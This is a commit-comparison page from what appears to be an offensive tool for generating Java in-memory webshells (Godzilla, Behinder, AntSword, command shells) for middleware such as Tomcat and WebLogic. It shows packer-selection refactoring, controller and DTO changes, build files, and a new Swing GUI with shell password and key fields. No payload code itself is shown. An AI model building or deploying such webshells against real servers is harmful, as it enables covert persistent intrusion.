Compare commits

...
13 Commits
Author SHA1 Message Date
ReaJason de943d6b39 refactor: rm useless field
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-30 21:21:37 +08:00
ReaJason c392605cb0 test: update dubbo deps 2026-03-30 21:20:57 +08:00
ReaJason d0c9eecdad fix: proxy OOM
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-25 23:54:15 +08:00
ReaJason e793d573d4 fix: dubbo3 inject failed
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-21 10:01:59 +08:00
ReaJason cf8f731e56 fix: NPE
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-03-21 01:12:52 +08:00
ReaJason 51b7e8e17f feat: support dubbo service memshell 2026-03-21 00:51:42 +08:00
ReaJason 25e1b3964a feat: use thirdparty for class conflict
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-19 00:33:14 +08:00
ReaJason 9d2b4c7774 fix: controller cannot click generate button
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-04 12:45:45 +08:00
ReaJason 3599fa4e14 refactor: rm unused allPackResults field 2026-03-04 12:45:45 +08:00
ReaJason d4718dcff5 ci: downgrade integration-test runner
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-02-27 14:19:38 +08:00
ReaJason 1aa528e51f build: packer compile failed
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
2026-02-27 09:28:26 +08:00
ReaJason b38c65b254 feat: java swing gui
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-02-26 22:55:45 +08:00
ReaJason 9243070126 feat: support packer config 2026-02-26 22:55:45 +08:00
172 changed files with 6618 additions and 1029 deletions
@@ -50,7 +50,7 @@ jobs:
depend_tasks: ""
- middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-latest
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
+1 -1
View File
@@ -44,7 +44,7 @@ jobs:
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-latest
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
@@ -19,7 +19,7 @@ concurrency:
jobs:
integration-test:
runs-on: ubuntu-latest
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v4
+3 -5
View File
@@ -1,6 +1,6 @@
plugins {
id("java")
id("org.springframework.boot") version "3.5.8"
id("org.springframework.boot") version "3.5.11"
id("io.spring.dependency-management") version "1.1.7"
}
@@ -26,16 +26,14 @@ extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
dependencies {
implementation(project(":generator")) {
exclude(group = "commons-logging", module = "commons-logging")
exclude(group = "com.reajason.javaweb", module = "thirdparty-tomcat")
}
implementation(project(":packer")) {
exclude(group = "commons-logging", module = "commons-logging")
}
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
implementation("org.springframework.boot:spring-boot-starter-web") {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
}
implementation("org.springframework.boot:spring-boot-starter-web")
implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-undertow")
compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
@@ -29,6 +29,12 @@ public class GlobalExceptionHandler {
return new ErrorResponse(exception.getMessage());
}
@ResponseStatus(HttpStatus.BAD_REQUEST)
@ExceptionHandler(IllegalArgumentException.class)
public ErrorResponse handleIllegalArgumentException(IllegalArgumentException exception) {
return new ErrorResponse(exception.getMessage());
}
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
@ExceptionHandler(Throwable.class)
public ErrorResponse handleThrowable(Throwable throwable) {
@@ -34,10 +34,24 @@ public class ConfigController {
}
@RequestMapping("/packers")
public List<String> getPackers() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList();
public List<PackerCategoryDTO> getPackers() {
List<PackerCategoryDTO> result = new ArrayList<>();
for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
PackerCategoryDTO category = new PackerCategoryDTO();
category.setName(entry.getKey());
List<PackerOptionDTO> options = new ArrayList<>();
for (Packers packer : entry.getValue()) {
PackerOptionDTO option = new PackerOptionDTO();
option.setName(packer.name());
option.setOutputKind(packer.getOutputKind());
option.setCategoryAnchor(packer.hasChildren());
option.setSchema(packer.getSchema());
options.add(option);
}
category.setPackers(options);
result.add(category);
}
return result;
}
@RequestMapping
@@ -66,4 +80,64 @@ public class ConfigController {
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
return commandConfigVO;
}
}
public static class PackerCategoryDTO {
private String name;
private List<PackerOptionDTO> packers;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public List<PackerOptionDTO> getPackers() {
return packers;
}
public void setPackers(List<PackerOptionDTO> packers) {
this.packers = packers;
}
}
public static class PackerOptionDTO {
private String name;
private String outputKind;
private boolean categoryAnchor;
private Object schema;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getOutputKind() {
return outputKind;
}
public void setOutputKind(String outputKind) {
this.outputKind = outputKind;
}
public boolean isCategoryAnchor() {
return categoryAnchor;
}
public void setCategoryAnchor(boolean categoryAnchor) {
this.categoryAnchor = categoryAnchor;
}
public Object getSchema() {
return schema;
}
public void setSchema(Object schema) {
this.schema = schema;
}
}
}
@@ -7,9 +7,11 @@ import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.JarPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
@@ -22,19 +24,24 @@ import java.util.Base64;
@RequestMapping("/api/memshell/generate")
@CrossOrigin("*")
public class MemShellGeneratorController {
@PostMapping
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof AggregatePacker) {
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
if (request.getPackerSpec() == null) {
throw new IllegalArgumentException("packerSpec is required");
}
Packers packers = Packers.fromName(request.getPackerSpec().getName());
Packer<?> packer = packers.getInstance();
if (packer instanceof JarPacker) {
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
JarPackerConfig<?> jarPackerConfig = generateResult.toJarPackerConfig();
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(jarPackerConfig)));
}
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
return new MemShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
}
}
}
@@ -2,8 +2,9 @@ package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.ProbeConfig;
@@ -23,11 +24,13 @@ public class ProbeShellGeneratorController {
ProbeConfig probeConfig = request.getProbeConfig();
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof AggregatePacker) {
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} else {
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
if (request.getPackerSpec() == null) {
throw new IllegalArgumentException("packerSpec is required");
}
Packers packers = Packers.fromName(request.getPackerSpec().getName());
Packer packer = packers.getInstance();
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
return new ProbeShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
}
}
@@ -1,7 +1,6 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.Packers;
import lombok.Data;
import static com.reajason.javaweb.memshell.ShellTool.*;
@@ -15,7 +14,7 @@ public class MemShellGenerateRequest {
private ShellConfig shellConfig;
private ShellToolConfigDTO shellToolConfig;
private InjectorConfig injectorConfig;
private Packers packer;
private PackerRequestSpecDTO packerSpec;
@Data
public static class ShellToolConfigDTO {
@@ -84,4 +83,4 @@ public class MemShellGenerateRequest {
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
};
}
}
}
@@ -1,29 +1,18 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.MemShellResult;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
public class MemShellGenerateResponse {
private MemShellResult memShellResult;
private String packResult;
private Map<String, String> allPackResults;
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
this.memShellResult = memShellResult;
this.packResult = packResult;
}
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.memShellResult = memShellResult;
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.packer.spec.PackerRequestSpec;
import lombok.Data;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* Packer selection request payload.
*/
@Data
public class PackerRequestSpecDTO {
private String name;
private Map<String, Object> config = new LinkedHashMap<>();
public PackerRequestSpec toPackerRequestSpec() {
PackerRequestSpec spec = new PackerRequestSpec();
spec.setName(name);
if (config != null) {
spec.setConfig(config);
}
return spec;
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.config.*;
import lombok.Data;
@@ -12,7 +11,7 @@ import lombok.Data;
public class ProbeShellGenerateRequest {
private ProbeConfig probeConfig;
private ProbeContentConfigDTO probeContentConfig;
private Packers packer;
private PackerRequestSpecDTO packerSpec;
@Data
static class ProbeContentConfigDTO {
@@ -1,29 +1,18 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.probe.ProbeShellResult;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/8/10
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
public class ProbeShellGenerateResponse {
private ProbeShellResult probeShellResult;
private String packResult;
private Map<String, String> allPackResults;
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
this.probeShellResult = probeShellResult;
this.packResult = packResult;
}
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.probeShellResult = probeShellResult;
}
}
@@ -9,9 +9,12 @@ import org.springframework.http.ResponseEntity;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
@@ -37,11 +40,4 @@ public class ConfigControllerIntegrationTest {
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
}
}
@@ -3,11 +3,11 @@ package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
import com.reajason.javaweb.boot.dto.PackerRequestSpecDTO;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
@@ -15,6 +15,8 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
@@ -30,6 +32,23 @@ class MemShellGeneratorControllerTest {
@Test
void generateShell() {
MemShellGenerateRequest request = buildRequest("ScriptEngine", null);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
@Test
void generateJspxShellWithCustomConfig() {
MemShellGenerateRequest request = buildRequest("JSPX", Map.of("unicode", true));
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
private static MemShellGenerateRequest buildRequest(String packerName, Map<String, Object> packerConfig) {
MemShellGenerateRequest request = new MemShellGenerateRequest();
request.setShellConfig(ShellConfig.builder()
.server(Server.Tomcat)
@@ -43,16 +62,18 @@ class MemShellGeneratorControllerTest {
request.setInjectorConfig(InjectorConfig.builder()
.urlPattern("/*")
.build());
request.setPacker(Packers.ScriptEngine);
PackerRequestSpecDTO packerRequestSpecDTO = new PackerRequestSpecDTO();
packerRequestSpecDTO.setName(packerName);
if (packerConfig != null) {
packerRequestSpecDTO.setConfig(packerConfig);
}
request.setPackerSpec(packerRequestSpecDTO);
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
shellToolConfigDTO.setGodzillaKey("key");
shellToolConfigDTO.setGodzillaPass("pass");
shellToolConfigDTO.setHeaderName("User-Agent");
shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
return request;
}
}
}
+5 -2
View File
@@ -1,6 +1,7 @@
plugins {
id("java")
id("idea")
id("com.vanniktech.maven.publish") version "0.35.0" apply false
}
idea {
@@ -9,16 +10,18 @@ idea {
}
}
version = "2.6.0"
version = "2.7.0-SNAPSHOT"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
dependsOn(":packer:publishToMavenCentral")
dependsOn(":generator:publishToMavenCentral")
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenCentral")
}
tasks.register("publishAllToMavenLocal") {
dependsOn(":memshell-party-common:publishToMavenLocal")
dependsOn(":packer:publishToMavenLocal")
dependsOn(":generator:publishToMavenLocal")
}
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenLocal")
}
+33
View File
@@ -0,0 +1,33 @@
plugins {
id("java")
id("application")
}
group = "com.reajason.javaweb"
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation(project(":generator"))
implementation(project(":packer"))
implementation("com.formdev:flatlaf:3.7")
implementation("com.miglayout:miglayout-swing:5.3")
testImplementation(libs.junit.jupiter)
testRuntimeOnly(libs.junit.platform.launcher)
}
application {
mainClass.set("com.reajason.javaweb.desktop.memshell.MemShellDesktopApplication")
}
tasks.test {
useJUnitPlatform()
}
@@ -0,0 +1,13 @@
package com.reajason.javaweb.desktop.memshell;
import com.formdev.flatlaf.FlatLightLaf;
import com.reajason.javaweb.desktop.memshell.ui.MemShellGeneratorFrame;
import javax.swing.*;
public class MemShellDesktopApplication {
public static void main(String[] args) {
FlatLightLaf.setup();
SwingUtilities.invokeLater(() -> new MemShellGeneratorFrame().setVisible(true));
}
}
@@ -0,0 +1,331 @@
package com.reajason.javaweb.desktop.memshell.controller;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import com.reajason.javaweb.memshell.ShellTool;
import java.util.*;
public class MemShellFormController {
private final ConfigCatalogService configCatalogService;
private final MemShellValidator validator;
private final ConfigCatalogService.ConfigCatalog catalog;
private final MemShellFormState state = new MemShellFormState();
public MemShellFormController(ConfigCatalogService configCatalogService, MemShellValidator validator) {
this.configCatalogService = configCatalogService;
this.validator = validator;
this.catalog = configCatalogService.load();
reconcileAfterServerChange(true);
reconcilePackerSelection();
}
public ConfigCatalogService getConfigCatalogService() { return configCatalogService; }
public MemShellFormState getState() { return state; }
public ConfigCatalogService.ConfigCatalog getCatalog() { return catalog; }
public MemShellValidator getValidator() { return validator; }
public List<String> getServers() {
return new ArrayList<>(catalog.getServers().keySet());
}
public List<String> getServerVersionOptions() {
return configCatalogService.getServerVersionOptions(state.getServer());
}
public List<String> getShellTools() {
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
if (toolMap == null) return Collections.emptyList();
LinkedHashSet<String> tools = new LinkedHashSet<>(toolMap.keySet());
tools.add(ShellTool.Custom);
return new ArrayList<>(tools);
}
public List<String> getCustomShellTypes() {
List<String> values = catalog.getServers().get(state.getServer());
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
}
public List<String> getShellTypesForCurrentTool() {
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
if (toolMap == null) return Collections.emptyList();
if (ShellTool.Custom.equals(state.getShellTool())) {
return getCustomShellTypes();
}
List<String> values = toolMap.get(state.getShellTool());
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
}
public List<PackerEntryModel> getFilteredPackers() {
List<PackerEntryModel> out = new ArrayList<>();
for (PackerCategoryModel c : catalog.getPackers()) {
for (PackerEntryModel p : c.getPackers()) {
if (p.isCategoryAnchor()) continue;
String name = p.getName();
String shellType = state.getShellType();
String server = state.getServer();
if (shellType != null && shellType.startsWith("Agent")) {
if (name.startsWith("Agent")) out.add(p);
continue;
}
if (server != null && server.startsWith("XXL")) {
if (!name.startsWith("Agent")) out.add(p);
continue;
}
if (!name.startsWith("Agent") && !name.toLowerCase(Locale.ROOT).startsWith("xxl")) {
out.add(p);
}
}
}
return out;
}
public PackerEntryModel getSelectedPackerEntry() {
String selected = state.getPackingMethod();
if (selected == null || selected.trim().isEmpty()) return null;
for (PackerCategoryModel c : catalog.getPackers()) {
for (PackerEntryModel p : c.getPackers()) {
if (selected.equals(p.getName())) return p;
}
}
return null;
}
public List<PackerSchemaFieldModel> getSelectedPackerFields() {
PackerEntryModel p = getSelectedPackerEntry();
return p == null ? Collections.<PackerSchemaFieldModel>emptyList() : p.getFields();
}
public List<String> getCommandEncryptors() { return catalog.getCommandEncryptors(); }
public List<String> getCommandImplementationClasses() { return catalog.getCommandImplementationClasses(); }
public void setServer(String server) {
state.setServer(server);
reconcileAfterServerChange(false);
reconcilePackerSelection();
}
public void setServerVersion(String version) { state.setServerVersion(version); }
public void setTargetJdkVersion(String value) {
state.setTargetJdkVersion(value);
try {
state.setByPassJavaModule(Integer.parseInt(value) >= 53);
} catch (Exception ignored) {
}
}
public void setShellTool(String tool) {
handleShellToolChange(tool);
reconcilePackerSelection();
}
public void setShellType(String shellType) {
state.setShellType(shellType);
state.setUrlPattern("");
reconcilePackerSelection();
}
public void setUrlPattern(String urlPattern) { state.setUrlPattern(urlPattern); }
public void setDebug(boolean value) { state.setDebug(value); }
public void setProbe(boolean value) { state.setProbe(value); }
public void setByPassJavaModule(boolean value) { state.setByPassJavaModule(value); }
public void setLambdaSuffix(boolean value) { state.setLambdaSuffix(value); }
public void setShrink(boolean value) { state.setShrink(value); }
public void setStaticInitialize(boolean value) { state.setStaticInitialize(value); }
public void setGodzillaPass(String v) { state.setGodzillaPass(v); }
public void setGodzillaKey(String v) { state.setGodzillaKey(v); }
public void setBehinderPass(String v) { state.setBehinderPass(v); }
public void setAntSwordPass(String v) { state.setAntSwordPass(v); }
public void setCommandParamName(String v) { state.setCommandParamName(v); }
public void setCommandTemplate(String v) { state.setCommandTemplate(v); }
public void setHeaderName(String v) { state.setHeaderName(v); }
public void setHeaderValue(String v) { state.setHeaderValue(v); }
public void setShellClassBase64(String v) { state.setShellClassBase64(v); }
public void setEncryptor(String v) { state.setEncryptor(v); }
public void setImplementationClass(String v) { state.setImplementationClass(v); }
public void setShellClassName(String v) {
state.setShellClassName(v);
autoDisableRandomIfManualNames();
}
public void setInjectorClassName(String v) {
state.setInjectorClassName(v);
autoDisableRandomIfManualNames();
}
public void setRandomClassName(boolean checked) {
state.setRandomClassName(checked);
if (checked) {
